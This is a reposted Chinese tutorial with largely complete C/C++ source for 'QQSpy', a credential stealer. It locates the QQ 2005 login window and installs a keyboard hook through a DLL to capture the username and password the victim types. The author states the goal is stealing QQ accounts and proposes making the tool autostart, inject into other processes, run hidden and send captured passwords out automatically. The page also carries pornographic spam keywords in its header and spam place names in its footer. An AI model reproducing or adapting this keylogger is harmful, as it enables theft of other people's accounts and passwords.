国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 學院 > 開發設計 > 正文

采用c/c++編程實現盜取2005 Beta2.0版QQ

2019-11-17 05:42:42
字體:
來源:轉載
供稿:網友
源碼下載:QQSpy一、思路分析(一) 數據包的角度 (二) 鉤子角度 1. 鉤子簡介 2. 程序流程 ;二、 實現過程 (一) 定義宏 (二) 枚舉進程找到QQ.exe (三) 枚舉所有窗口,找屬于QQ.exe的窗口 (四) 獲取用戶名、密碼、登陸按鈕的句柄 (五) 創建鉤子用的DLL (六) 安裝鉤子一直以來我對盜QQ這種技術都比較的好奇,最近為了練手,決定寫一個盜QQ的程序。經過一個星期的努力,終于得到了QQ的用戶名和密碼,效果如下:
采用c/c++編程實現盜取2005 Beta2.0版QQ(圖一)
本程序在Win2003 + QQ2005 Beta2下測試通過。下面就來分析一下整個實現過程。一、 思路分析一般這種盜QQ程序,都可以從兩個角度分析。它們分別是:數據包和鉤子技術。(一) 數據包的角度從這個角度入手的難度較大,這需要對QQ所用的協議非常的清楚,還要了解QQ發送的數據包采用的算法,然后把QQ發送的數據包截獲下來,通過逆向分析最終得到QQ密碼。由于本人對QQ所用的協議沒什么研究,所以沒有采用這個思路,以后有機會倒是可以試試。(二) 鉤子角度平時寫盜密碼程序用的最多的應該就是鉤子技術了,因為操作系統提供的API可以讓我們很輕松的安裝和卸載鉤子,從而輕易得到我們想要的東西。 1. 鉤子簡介鉤子是一個很形象的詞,它就像一個“鉤”,通過它就可以把操作系統里的消息給鉤下來,經過我們處理后再發送出去。具體如下圖:
采用c/c++編程實現盜取2005 Beta2.0版QQ(圖二)
2. 程序流程Spy++這個工具可以讓我們查看QQ登陸窗口的許多信息,如下圖:
采用c/c++編程實現盜取2005 Beta2.0版QQ(圖三)
從圖中可以大概知道,QQ登陸窗口左上角的文字并不是直接寫上去的,也就是說不能直接用FindWindow()方法得到登陸窗口的句柄。另外,雙擊某一個子窗口,還可以查看該窗口的風格等,本程序就是利用登陸窗口的樣式不變才找到了登陸窗口的句柄。以下是程序的具體流程圖:
采用c/c++編程實現盜取2005 Beta2.0版QQ(圖四)
采用c/c++編程實現盜取2005 Beta2.0版QQ(圖五)
采用c/c++編程實現盜取2005 Beta2.0版QQ(圖六)

二、 實現過程 有了上面這個流程圖后,經常寫win32程序的朋友應該也能寫出這種盜QQ程序的,你無妨自已寫寫試試,有不明白的地方可以參考我的程序。以下為我的程序的要害代碼: (一) 定義宏//QQ登陸框正常情況下的風格#define QQLoginDlgNormalStyle 0x94CA00C4//QQ登陸框最小化時的風格#define QQLoginDlgMiniStyle 0xB4CA00C4//用戶名下拉控件的ID#define QQLoginUserNameId 0x0000008A//密碼控件文本框的ID#define QQLoginPassWordId 0x000000B4//登陸按扭的ID #define QQLoginButtonId 0x00003EA0(二) 枚舉進程找到QQ.exe//定義PROCESSENTRY32結構PROCESSENTRY32 pe;pe.dwSize = sizeof(pe); HANDLE hProcessSnap;//所有進程快照hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if(hProcessSnap == INVALID_HANDLE_VALUE){printf("進程快照失敗!/n");return -1;}BOOL bRet;//遍歷進程快照,輪流顯示每個進程的信息bRet = Process32First(hProcessSnap,&pe);while(bRet){//pe.szExeFile保存的值為進程對應的可執行文件名if(strcmp(pe.szExeFile,"QQ.exe") ==0) { //這個時候的pe.th32ProcessID值,就是QQ.exe的PID值了。BOOL bRet;//枚舉所有窗口,把進程PID傳給回調函數EnumAllWindowsProcbRet = EnumWindows(EnumAllWindowsProc,(LPARAM)pe.th32ProcessID);if(bRet == FALSE){printf("枚舉所有窗口失敗!/n");return -1;}}} 這里要提醒一點,要調用CreateToolhelp32Snapshot()、Process32First()這些函數,需要在頂部加一句代碼:#include (三) 枚舉所有窗口,找屬于QQ.exe的窗口 BOOL CALLBACK EnumAllWindowsProc(HWND hwnd,LPARAM lParam){if(hwnd == NULL){
return FALSE;}//QQ.exe的IDDWORD dwQQProcessID;dwQQProcessID = (DWORD)lParam;GetWindowThreadProcessId(hwnd,&dwCreateWindowProcessID); //假如創建QQ.exe的進程等于創建窗口的進程 if(dwQQProcessID == dwCreateWindowProcessID){LONG lWindowStyle;//找到窗口的風格lWindowStyle = GetWindowLong(hwnd,GWL_STYLE); //假如條件成立,表示當前窗口為登陸窗口if(lWindowStyle == QQLoginDlgNormalStyle lWindowStyle == QQLoginDlgMiniStyle){ //保存登陸窗口的句柄hLoginWindow = hwnd; } } return TRUE;}該回調函數執行完后,就得到QQ登陸窗口的句柄。保存在hLoginWindow中。 (四) 獲取用戶名、密碼、登陸按鈕的句柄BOOL CALLBACK EnumChildWindowsProc(HWND hwnd,LPARAM lParam){if(hwnd == FALSE){return FALSE;}LONG lID;//取得所有子窗口的IDlID = GetWindowLong(hwnd, GWL_ID);//該句表示找到用戶名的句柄if(lID == QQLoginUserNameId){ hUserName = hwnd; }else if(lID == QQLoginPasswordId){hUserPwd = hwnd;}else if(lID == QQLoginButtonId){hLoginButton = hwnd; }return TRUE;}注重:以上回調函數用到了三個變量,別忘了在頂部定義哦!//用戶名、密碼、登陸按鈕的句柄HWND hUserName;HWND hUserPwd;HWND hLoginButton; (五) 創建鉤子用的DLL 1. 申明函數新建一個Win32 Dynamic-Link Library項目,命名為:QQHook。選擇空DLL選項,然后在QQHook.h中申明函數:#define QQHookLIB_API __declspec(dlleXPort)
//聲明要導出的函數//安裝鍵盤鉤子函數 BOOL QQHookLIB_API SetKeyBoardHook(BOOL bInstall,HMODULE hDll,HWND hLoginWindow,HWND hUserName,HWND hUserPwd,HWND hLoginButton,DWORD dwCreateWindowProcessID); 2. 申明共享數據段以及導出函數選“新建文件Text File”,文件名稱處輸入QQHook.def,然后添加如下代碼:EXPORTSSetKeyBoardHookSECTIONSQQSpyShare Read Write Shared這樣SetKeyBoardHook函數即為導出函數了,可以在別的項目中被調用。3. DLL主要代碼接下來在QQHook.cpp文件中添加如下代碼://共享數據段,注重要初始化#pragma data_seg("QQSpyShare")HWND g_hLoginWindowWnd = NULL; //QQ主窗口句柄HHOOK g_hMessageHook = NULL; //消息鉤子句柄HHOOK g_hKeyBoardHook = NULL; //鍵盤鉤子句柄HWND hQQLoginUserName = NULL;HWND hQQLoginUserPwd = NULL;HWND hQQLoginButton = NULL;#pragma data_seg()//安裝鍵盤鉤子函數 BOOL QQHookLIB_API SetKeyBoardHook(BOOL bInstall,HMODULE hDll,HWND hLoginWindow,HWND hUserName,HWND hUserPwd,HWND hLoginButton,DWORD dwCreateWindowProcessID){BOOL bResult;if(bInstall){ //保存用戶名的句柄hQQLoginUserName = hUserName;//保存密碼的句柄hQQLoginUserPwd = hUserPwd; //保存登陸QQ按鈕的句柄hQQLoginButton = hLoginButton;//保存登陸窗口的句柄g_hLoginWindowWnd = hLoginWindow;//登陸窗口的主線程,安裝鉤子的時候要用DWORD dwCreateLoginWindowThreadId;dwCreateLoginWindowThreadId = GetWindowThreadProcessId(hLoginWindow,NULL); //在登陸窗口主線程上安裝鉤子g_hKeyBoardHook = SetWindowsHookEx(
WH_KEYBOARD, //安裝鍵盤鉤子(HOOKPROC)KeyBoardProc, //鍵盤鉤子回調函數hDll, //QQHook.dll模塊句柄dwCreateLoginWindowThreadId); //登陸窗口的主線程if(g_hKeyBoardHook == NULL){printf("鍵盤鉤子安裝失敗!");return FALSE;}else{printf("鍵盤鉤子安裝成功了!");return TRUE;}}else{//卸載鉤子bResult = UnhookWindowsHookEx(g_hKeyBoardHook);if(bResult == TRUE){printf("鍵盤鉤子卸載成功!");return TRUE;}else{printf("鍵盤鉤子卸載失敗!");return FALSE;}}return TRUE;}以上代碼的作用是在登陸窗口的主線程上安裝鉤子,這樣當在QQ登陸窗口中有鍵盤輸入的時候,就會執行回調函數里的代碼。只要我們在鍵盤鉤子回調函數中將得到的按鍵信息進行信息,即可將QQ密碼記錄下來。以下為鍵盤鉤子回調函數代碼: //鍵盤鉤子回調函數LRESULT CALLBACK KeyBoardProc(int ncode,WPARAM wParam,LPARAM lParam){//創建一個緩沖區保存連起來的密碼static char buf[250] = {0};//用于保存用戶名框的內容char cUserName[10];ZeroMemory(cUserName, 10);//用于保存用戶在密碼框上的每一個按鍵char cUserPwd[30];//假如按的鍵是回車鍵if (wParam == VK_RETURN && lParam >0){//得到用戶名的值保存在cUserName中,密碼框的值不能通過這種方法獲得SendMessage(hQQLoginUserName, WM_GETTEXT, 10, (LPARAM)cUserName);}//假如不是按回車,并且是在密碼框中輸入if (lParam >0 && wParam != VK_RETURN &&//當前輸入框為密碼框hQQLoginUserPwd == GetFocus()){
//記下密碼框中輸入的字符GetKeyNameText(lParam, cUserPwd, 30);//以下代碼把每一次按的鍵連起來形成一個完整的密碼static int index = 0;if(index == 0){if(strcmp(cUserPwd,"Num 1") == 0){strcpy(buf,"1");}else if(strcmp(cUserPwd,"Num 2") == 0){strcpy(buf,"2"); }else if(strcmp(cUserPwd,"Num 3") == 0){strcpy(buf,"3"); }else if(strcmp(cUserPwd,"Num 4") == 0){strcpy(buf,"4"); }else if(strcmp(cUserPwd,"Num 5") == 0){strcpy(buf,"5"); }else if(strcmp(cUserPwd,"Num 6") == 0){strcpy(buf,"6"); }else if(strcmp(cUserPwd,"Num 7") == 0){strcpy(buf,"7"); }else if(strcmp(cUserPwd,"Num 8") == 0){strcpy(buf,"8"); }else if(strcmp(cUserPwd,"Num 9") == 0){strcpy(buf,"9"); }else if(strcmp(cUserPwd,"Num 0") == 0){strcpy(buf,"0"); }else{strcpy(buf,cUserPwd);}}else{if(strcmp(cUserPwd,"Num 1") == 0){strcat(buf,"1");}else if(strcmp(cUserPwd,"Num 2") == 0){strcat(buf,"2"); }else if(strcmp(cUserPwd,"Num 3") == 0){strcat(buf,"3");
}else if(strcmp(cUserPwd,"Num 4") == 0){strcat(buf,"4"); }else if(strcmp(cUserPwd,"Num 5") == 0){strcat(buf,"5"); }else if(strcmp(cUserPwd,"Num 6") == 0){strcat(buf,"6"); }else if(strcmp(cUserPwd,"Num 7") == 0){strcat(buf,"7"); }else if(strcmp(cUserPwd,"Num 8") == 0){strcat(buf,"8"); }else if(strcmp(cUserPwd,"Num 9") == 0){strcat(buf,"9"); }else if(strcmp(cUserPwd,"Num 0") == 0){strcat(buf,"0"); }else{strcat(buf,cUserPwd);}}++index;}//假如按的是回車,將上面得到的用戶名和密碼連在一起顯示if (wParam == VK_RETURN && lParam >0){char cAccount;strcpy(&cAccount,"用戶名:");strcat(&cAccount,cUserName);strcat(&cAccount,"/n密 碼:");strcat(&cAccount,buf);strcat(&cAccount,"/nBy:∮明天去要飯");//cAccount中保存了用戶名和密碼,想怎么處理就怎么處理MessageBox(NULL,&cAccount,"QQ帳號:",MB_OK);return CallNextHookEx(g_hKeyBoardHook, ncode, wParam, lParam); }return CallNextHookEx(g_hKeyBoardHook, ncode, wParam, lParam);}這里需要注重以下幾個問題:1. 回調函數相當于是QQ.exe的函數,所以在DLL中的變量值假如想在回調函數中用,需要把變量定義在共享數據段中,這樣才能被回調函數執行。2. 定義的變量index之所以要定義成static,是因為index要保持上一次運行的值,也就是說index只能被初始化一次。static char buf[250] = {0}這一句也是一個道理。當用戶在QQ登陸窗口的密碼框中輸東西時,就會執行該回調函數,該回調函數每一次記下的值只是一個鍵盤按鍵,只有將按鍵連起來才是一個密碼。3. 由于按1得到的是Num 1,按2得到的是Num 2,所以要對得到的按鍵進行處理。
4. 從這個回調函數可以知道,假如用戶在輸密碼的時候后退了,或是刪除了密碼再繼續輸入,那么記錄下來的內容將是不準確的。另外,當用戶輸入的是小寫字母的時候,顯示出來的值會是大寫字母,這也是一個BUG,不過盜QQ程序的原理就是這樣了。
  (六) 申明導出函數 (七) 安裝鉤子上面只是提供了一個安裝鉤子的函數,還沒有真正進行安裝,接下來才是真正開始安裝鉤子。//用戶名、密碼、登陸按鈕的句柄都不為空時安裝鉤子if(hUserName != NULL && hUserPwd != NULL &&hLoginButton != NULL){//得到DLL模塊的句柄hDll = GetModuleHandle("QQHook.dll");if(hDll == NULL){return FALSE;}//安裝鍵盤鉤子bKeyBoardHook = SetKeyBoardHook(TRUE,hDll,hLoginWindow,hUserName,hUserPwd,hLoginButton,dwCreateWindowProcessID); if(bKeyBoardHook == FALSE){printf("調用鍵盤鉤子失敗!");return FALSE;}}以上就是盜QQ程序的要害代碼了,打開QQ登陸框,然后運行主程序QQSpy.exe,接下來輸用戶名和密碼并回車,即會彈出窗口顯示用戶名和密碼。本程序還可以進行如下改進:1. 改進記錄密碼的代碼。2. 加入對鼠標點擊“登錄QQ”進行HOOK的代碼。3. 設置成自動啟動。4. 注入到別的進程中。5. 運行的時候沒有界面,記錄下來后自動發送密碼。由于本人初學c/c++不久,所以寫這個程序的時候感覺很吃力,幸好我的朋友們在我有困難的時候總能給我或多或少的幫助,在此要感謝他們,非凡要感謝蘭陵笑笑生給我提供思路。


發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 西乡县| 绿春县| 龙海市| 绩溪县| 佳木斯市| 突泉县| 遂川县| 岑巩县| 洛南县| 建宁县| 宾川县| 泸定县| 衡东县| 静乐县| 嘉黎县| 宁城县| 潼关县| 扶沟县| 石家庄市| 贡觉县| 柳林县| 盈江县| 麦盖提县| 巴林左旗| 宜章县| 米林县| 雅安市| 乌兰浩特市| 文昌市| 江津市| 济南市| 顺义区| 叶城县| 遂溪县| 柳河县| 乐平市| 东安县| 新巴尔虎右旗| 鄢陵县| 左权县| 花莲市|